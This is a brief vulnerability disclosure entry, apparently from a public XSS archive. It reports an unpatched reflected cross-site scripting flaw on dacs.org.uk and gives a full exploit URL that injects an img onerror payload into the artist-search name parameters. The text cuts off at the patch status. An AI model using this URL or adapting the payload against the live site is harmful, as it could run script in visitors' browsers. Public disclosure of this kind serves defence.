dacs.org.uk XSS vulnerability

Vulnerable URL: http://www.dacs.org.uk/for-art-market-professionals/artist-search?ARTISTFIRSTNAME=%22%3E%3Cimg+src%3dx+onerror%3dprompt%28%2fXSSPOSED%2f%29%3ELASTNAME=%22%3E%3Cimg+src%3dx+onerror%3dprompt%28%2fXSSPOSED%2f%29%3E=2013SIZE=10PAGE=1 Details: Description| Value ---|--- Patched:| No...